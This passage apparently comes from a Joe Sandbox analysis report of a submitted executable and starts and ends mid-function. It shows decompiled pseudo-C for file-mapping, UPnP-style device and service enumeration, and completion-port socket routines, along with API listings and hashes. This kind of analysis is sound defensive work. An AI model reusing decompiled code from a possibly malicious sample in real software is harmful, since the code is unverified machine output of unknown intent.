					_v16 = MapViewOfFile(_v12, 4, 0, 0, 0);
					if(_v16 == 0) {
						L13:
						CloseHandle(_v12);
						goto L14;
					}
					_v20 = GetFileSize(_v8, 0);
					_v24 = _v16;
					while(_v20 != 0) {
						if(_v20 >= 0x100) {
							_t45 = E0040B100(_v24, _v24);
							_t67 = _t66 + 4;
							_v28 = _t45;
							if(_v28 != 0) {
								_v20 = _v20 - 0x100;
								if(_v20 >=  *((intOrPtr*)(_v28 + 0xc))) {
									E00404450(_v24, _v28, _v24,  *((intOrPtr*)(_v28 + 0xc)) + 0x100, 0);
									_t66 = _t67 + 0x10;
									_v20 = _v20 -  *((intOrPtr*)(_v28 + 0xc));
									continue;
								}
								E00408B60(_v28);
								break;
							}
							break;
						}
						break;
					}
					UnmapViewOfFile(_v16);
					goto L13;
				}
				return _t35;
			}













                                                                                                                                                                                                                                                                                                                                                      0x0040456b
                                                                                                                                                                                                                                                                                                                                                      0x00404585
                                                                                                                                                                                                                                                                                                                                                      0x0040458b
                                                                                                                                                                                                                                                                                                                                                      0x00404592
                                                                                                                                                                                                                                                                                                                                                      0x004045ac
                                                                                                                                                                                                                                                                                                                                                      0x004045b3
                                                                                                                                                                                                                                                                                                                                                      0x0040467b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040467f
                                                                                                                                                                                                                                                                                                                                                      0x004045cb
                                                                                                                                                                                                                                                                                                                                                      0x004045d2
                                                                                                                                                                                                                                                                                                                                                      0x00404671
                                                                                                                                                                                                                                                                                                                                                      0x00404675
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404675
                                                                                                                                                                                                                                                                                                                                                      0x004045e4
                                                                                                                                                                                                                                                                                                                                                      0x004045ea
                                                                                                                                                                                                                                                                                                                                                      0x004045ed
                                                                                                                                                                                                                                                                                                                                                      0x004045fa
                                                                                                                                                                                                                                                                                                                                                      0x00404602
                                                                                                                                                                                                                                                                                                                                                      0x00404607
                                                                                                                                                                                                                                                                                                                                                      0x0040460a
                                                                                                                                                                                                                                                                                                                                                      0x00404611
                                                                                                                                                                                                                                                                                                                                                      0x0040461e
                                                                                                                                                                                                                                                                                                                                                      0x0040462a
                                                                                                                                                                                                                                                                                                                                                      0x00404651
                                                                                                                                                                                                                                                                                                                                                      0x00404656
                                                                                                                                                                                                                                                                                                                                                      0x00404662
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404662
                                                                                                                                                                                                                                                                                                                                                      0x00404630
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404635
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404613
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004045fc
                                                                                                                                                                                                                                                                                                                                                      0x0040466b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040466b
                                                                                                                                                                                                                                                                                                                                                      0x00404688

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InitializeCriticalSection.KERNEL32(00414C50,?,?,?,?,?,0040641F), ref: 0040456B
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(00414E80,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,0040641F), ref: 00404585
                                                                                                                                                                                                                                                                                                                                                      • CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 004045A6
                                                                                                                                                                                                                                                                                                                                                      • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 004045C5
                                                                                                                                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(000000FF,00000000), ref: 004045DE
                                                                                                                                                                                                                                                                                                                                                      • UnmapViewOfFile.KERNEL32(00000000), ref: 0040466B
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00404675
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040467F
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3956458805-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ffced041c71c1d1b66aec95550984d97db9d182e246add6a2dee488be815fc80
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 068de0eeb47c8b83a571e37af6360b0d9046fe5958687f01e9cb74a01da15135
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ffced041c71c1d1b66aec95550984d97db9d182e246add6a2dee488be815fc80
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C53163B4E40209FFDB14DBA4CC4AFAEB770AB88705F208529E601772C0D7B96941CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C7D0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 48%
                                                                                                                                                                                                                                                                                                                                                      			E0040C7D0(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"device") == 0) {
									_t65 = E0040C0F0(_v20, L"deviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}












                                                                                                                                                                                                                                                                                                                                                      0x0040c7d6
                                                                                                                                                                                                                                                                                                                                                      0x0040c7dd
                                                                                                                                                                                                                                                                                                                                                      0x0040c7e7
                                                                                                                                                                                                                                                                                                                                                      0x0040c7f0
                                                                                                                                                                                                                                                                                                                                                      0x0040c7f8
                                                                                                                                                                                                                                                                                                                                                      0x0040c808
                                                                                                                                                                                                                                                                                                                                                      0x0040c81a
                                                                                                                                                                                                                                                                                                                                                      0x0040c826
                                                                                                                                                                                                                                                                                                                                                      0x0040c830
                                                                                                                                                                                                                                                                                                                                                      0x0040c834
                                                                                                                                                                                                                                                                                                                                                      0x0040c83d
                                                                                                                                                                                                                                                                                                                                                      0x0040c845
                                                                                                                                                                                                                                                                                                                                                      0x0040c923
                                                                                                                                                                                                                                                                                                                                                      0x0040c817
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c85f
                                                                                                                                                                                                                                                                                                                                                      0x0040c868
                                                                                                                                                                                                                                                                                                                                                      0x0040c873
                                                                                                                                                                                                                                                                                                                                                      0x0040c894
                                                                                                                                                                                                                                                                                                                                                      0x0040c89f
                                                                                                                                                                                                                                                                                                                                                      0x0040c8a4
                                                                                                                                                                                                                                                                                                                                                      0x0040c8a7
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ae
                                                                                                                                                                                                                                                                                                                                                      0x0040c8b0
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ba
                                                                                                                                                                                                                                                                                                                                                      0x0040c8c3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8cb
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e8
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e8
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ef
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ef
                                                                                                                                                                                                                                                                                                                                                      0x0040c901
                                                                                                                                                                                                                                                                                                                                                      0x0040c901
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ae
                                                                                                                                                                                                                                                                                                                                                      0x0040c907
                                                                                                                                                                                                                                                                                                                                                      0x0040c907
                                                                                                                                                                                                                                                                                                                                                      0x0040c911
                                                                                                                                                                                                                                                                                                                                                      0x0040c921
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c913
                                                                                                                                                                                                                                                                                                                                                      0x0040c911
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c845
                                                                                                                                                                                                                                                                                                                                                      0x0040c81a
                                                                                                                                                                                                                                                                                                                                                      0x0040c928
                                                                                                                                                                                                                                                                                                                                                      0x0040c92e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,device), ref: 0040C88C
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C8DB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C8EF
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C907
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeStringlstrcmpi
                                                                                                                                                                                                                                                                                                                                                      • String ID: device$deviceType
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1602765415-3511266565
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 9cb394442daad68dd84c333a344d676eba0026faeba622b23d54eedb1f956e34
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: a8615d3094e1971e290d6f9c10a0014d70873984087a3f1704e3b638c563dccf
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9cb394442daad68dd84c333a344d676eba0026faeba622b23d54eedb1f956e34
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1F41DEB5A0020ADFCB04DF94D884BAFB7B9BF48305F108669E515B7390D7789D81CB95
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C5F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 48%
                                                                                                                                                                                                                                                                                                                                                      			E0040C5F0(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"service") == 0) {
									_t65 = E0040C0F0(_v20, L"serviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}












                                                                                                                                                                                                                                                                                                                                                      0x0040c5f6
                                                                                                                                                                                                                                                                                                                                                      0x0040c5fd
                                                                                                                                                                                                                                                                                                                                                      0x0040c607
                                                                                                                                                                                                                                                                                                                                                      0x0040c610
                                                                                                                                                                                                                                                                                                                                                      0x0040c618
                                                                                                                                                                                                                                                                                                                                                      0x0040c628
                                                                                                                                                                                                                                                                                                                                                      0x0040c63a
                                                                                                                                                                                                                                                                                                                                                      0x0040c646
                                                                                                                                                                                                                                                                                                                                                      0x0040c650
                                                                                                                                                                                                                                                                                                                                                      0x0040c654
                                                                                                                                                                                                                                                                                                                                                      0x0040c65d
                                                                                                                                                                                                                                                                                                                                                      0x0040c665
                                                                                                                                                                                                                                                                                                                                                      0x0040c743
                                                                                                                                                                                                                                                                                                                                                      0x0040c637
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c67f
                                                                                                                                                                                                                                                                                                                                                      0x0040c688
                                                                                                                                                                                                                                                                                                                                                      0x0040c693
                                                                                                                                                                                                                                                                                                                                                      0x0040c6b4
                                                                                                                                                                                                                                                                                                                                                      0x0040c6bf
                                                                                                                                                                                                                                                                                                                                                      0x0040c6c4
                                                                                                                                                                                                                                                                                                                                                      0x0040c6c7
                                                                                                                                                                                                                                                                                                                                                      0x0040c6ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c6d0
                                                                                                                                                                                                                                                                                                                                                      0x0040c6da
                                                                                                                                                                                                                                                                                                                                                      0x0040c6e3
                                                                                                                                                                                                                                                                                                                                                      0x0040c6eb
                                                                                                                                                                                                                                                                                                                                                      0x0040c703
                                                                                                                                                                                                                                                                                                                                                      0x0040c708
                                                                                                                                                                                                                                                                                                                                                      0x0040c708
                                                                                                                                                                                                                                                                                                                                                      0x0040c70f
                                                                                                                                                                                                                                                                                                                                                      0x0040c70f
                                                                                                                                                                                                                                                                                                                                                      0x0040c721
                                                                                                                                                                                                                                                                                                                                                      0x0040c721
                                                                                                                                                                                                                                                                                                                                                      0x0040c6ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c727
                                                                                                                                                                                                                                                                                                                                                      0x0040c727
                                                                                                                                                                                                                                                                                                                                                      0x0040c731
                                                                                                                                                                                                                                                                                                                                                      0x0040c741
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c733
                                                                                                                                                                                                                                                                                                                                                      0x0040c731
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c665
                                                                                                                                                                                                                                                                                                                                                      0x0040c63a
                                                                                                                                                                                                                                                                                                                                                      0x0040c748
                                                                                                                                                                                                                                                                                                                                                      0x0040c74e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,service), ref: 0040C6AC
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C6FB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C70F
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C727
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeStringlstrcmpi
                                                                                                                                                                                                                                                                                                                                                      • String ID: service$serviceType
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1602765415-3667235276
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 59d80f984898475ead3a5eefdc860fbca65ddb4d01a08dfddf8149398c124503
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: eb7a5eddbf12148eb23c71802c8845ccc03d780cc3ce3bd31637004c877011bc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 59d80f984898475ead3a5eefdc860fbca65ddb4d01a08dfddf8149398c124503
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B641CD75A0020ADFCB14DF98C894BAFB7B9BF48304F108669E515A7390D778AE81CF95
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DE80 Relevance: 10.6, APIs: 7, Instructions: 95COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 89%
                                                                                                                                                                                                                                                                                                                                                      			E0040DE80(intOrPtr __eax, void* _a4) {
				void* __esi;
				intOrPtr _t20;
				long _t28;
				long _t37;
				intOrPtr _t45;
				struct _CRITICAL_SECTION* _t48;
				long _t49;
				void* _t53;
				void* _t54;
				void* _t55;

				_t53 = _a4;
				_t45 = __eax;
				if(_t53 != 0xffffffff) {
					_t48 = __eax + 0x20;
					_t37 = 0;
					EnterCriticalSection(_t48);
					_t20 =  *((intOrPtr*)(_t45 + 0x38));
					if(_t20 != 0) {
						while( *((intOrPtr*)(_t20 + 0x260)) != _t53) {
							_t20 =  *((intOrPtr*)(_t20 + 0x280));
							if(_t20 != 0) {
								continue;
							} else {
							}
							goto L7;
						}
						_t37 = 1;
					}
					L7:
					LeaveCriticalSection(_t48);
					if(_t37 == 0) {
						_t49 = E004089F0(0x284);
						_t55 = _t54 + 4;
						if(_t49 == 0) {
							L13:
							E004094F0(_t53);
							return _t49;
						} else {
							_t7 = _t49 + 0x264; // 0x264
							 *_t49 = 0x69636c69;
							 *(_t49 + 0x260) = _t53;
							_a4 = 0x10;
							__imp__#5(_t53, _t7,  &_a4);
							if(CreateIoCompletionPort( *(_t49 + 0x260),  *(_t45 + 8), _t49, 0) !=  *(_t45 + 8)) {
								E00408B60(_t49);
								_t55 = _t55 + 4;
								_t49 = 0;
								goto L13;
							} else {
								_t28 = E0040BD50();
								_t13 = _t49 + 4; // 0x4
								InterlockedExchange(_t13, _t28);
								_t14 = _t49 + 0x244; // 0x244
								_t15 = _t49 + 8; // 0x8
								 *((intOrPtr*)(_t49 + 0x27c)) = _t45;
								 *((intOrPtr*)(_t49 + 0x224)) = 0x200;
								 *((intOrPtr*)(_t49 + 0x228)) = _t15;
								InitializeCriticalSection(_t14);
								InterlockedIncrement(_t45 + 0x3c);
								E0040DDA0(_t49);
								return _t49;
							}
						}
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}













                                                                                                                                                                                                                                                                                                                                                      0x0040de81
                                                                                                                                                                                                                                                                                                                                                      0x0040de86
                                                                                                                                                                                                                                                                                                                                                      0x0040de8b
                                                                                                                                                                                                                                                                                                                                                      0x0040de94
                                                                                                                                                                                                                                                                                                                                                      0x0040de98
                                                                                                                                                                                                                                                                                                                                                      0x0040de9a
                                                                                                                                                                                                                                                                                                                                                      0x0040dea0
                                                                                                                                                                                                                                                                                                                                                      0x0040dea5
                                                                                                                                                                                                                                                                                                                                                      0x0040dea7
                                                                                                                                                                                                                                                                                                                                                      0x0040deaf
                                                                                                                                                                                                                                                                                                                                                      0x0040deb7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040deb9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040deb7
                                                                                                                                                                                                                                                                                                                                                      0x0040debb
                                                                                                                                                                                                                                                                                                                                                      0x0040debb
                                                                                                                                                                                                                                                                                                                                                      0x0040debd
                                                                                                                                                                                                                                                                                                                                                      0x0040debe
                                                                                                                                                                                                                                                                                                                                                      0x0040dec6
                                                                                                                                                                                                                                                                                                                                                      0x0040ded9
                                                                                                                                                                                                                                                                                                                                                      0x0040dedb
                                                                                                                                                                                                                                                                                                                                                      0x0040dee0
                                                                                                                                                                                                                                                                                                                                                      0x0040df7d
                                                                                                                                                                                                                                                                                                                                                      0x0040df7e
                                                                                                                                                                                                                                                                                                                                                      0x0040df8c
                                                                                                                                                                                                                                                                                                                                                      0x0040dee6
                                                                                                                                                                                                                                                                                                                                                      0x0040deeb
                                                                                                                                                                                                                                                                                                                                                      0x0040def3
                                                                                                                                                                                                                                                                                                                                                      0x0040def9
                                                                                                                                                                                                                                                                                                                                                      0x0040deff
                                                                                                                                                                                                                                                                                                                                                      0x0040df07
                                                                                                                                                                                                                                                                                                                                                      0x0040df24
                                                                                                                                                                                                                                                                                                                                                      0x0040df73
                                                                                                                                                                                                                                                                                                                                                      0x0040df78
                                                                                                                                                                                                                                                                                                                                                      0x0040df7b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040df26
                                                                                                                                                                                                                                                                                                                                                      0x0040df26
                                                                                                                                                                                                                                                                                                                                                      0x0040df2c
                                                                                                                                                                                                                                                                                                                                                      0x0040df30
                                                                                                                                                                                                                                                                                                                                                      0x0040df36
                                                                                                                                                                                                                                                                                                                                                      0x0040df3c
                                                                                                                                                                                                                                                                                                                                                      0x0040df40
                                                                                                                                                                                                                                                                                                                                                      0x0040df46
                                                                                                                                                                                                                                                                                                                                                      0x0040df50
                                                                                                                                                                                                                                                                                                                                                      0x0040df56
                                                                                                                                                                                                                                                                                                                                                      0x0040df60
                                                                                                                                                                                                                                                                                                                                                      0x0040df66
                                                                                                                                                                                                                                                                                                                                                      0x0040df71
                                                                                                                                                                                                                                                                                                                                                      0x0040df71
                                                                                                                                                                                                                                                                                                                                                      0x0040df24
                                                                                                                                                                                                                                                                                                                                                      0x0040dec8
                                                                                                                                                                                                                                                                                                                                                      0x0040dece
                                                                                                                                                                                                                                                                                                                                                      0x0040dece
                                                                                                                                                                                                                                                                                                                                                      0x0040de8e
                                                                                                                                                                                                                                                                                                                                                      0x0040de91
                                                                                                                                                                                                                                                                                                                                                      0x0040de91

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?,?,?,?,?,0040E38B,00000000), ref: 0040DE9A
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?,?,?,0040E38B,00000000), ref: 0040DEBE
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeave
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3168844106-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e1b8b8727e2c3ffe086c742b8a663e9191aba77b80fbbb768ff030806b5c17c9
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 12da6a6ca49d2e76b8b7d06f0787455340914cdda03b6f1faf322cbadc699af4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e1b8b8727e2c3ffe086c742b8a663e9191aba77b80fbbb768ff030806b5c17c9
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3431D172601605AFC710AFB5EC88AE7B7E8FF44725F00853EF54AD6241DB39B4488B99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C811 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 55%
                                                                                                                                                                                                                                                                                                                                                      			E0040C811() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
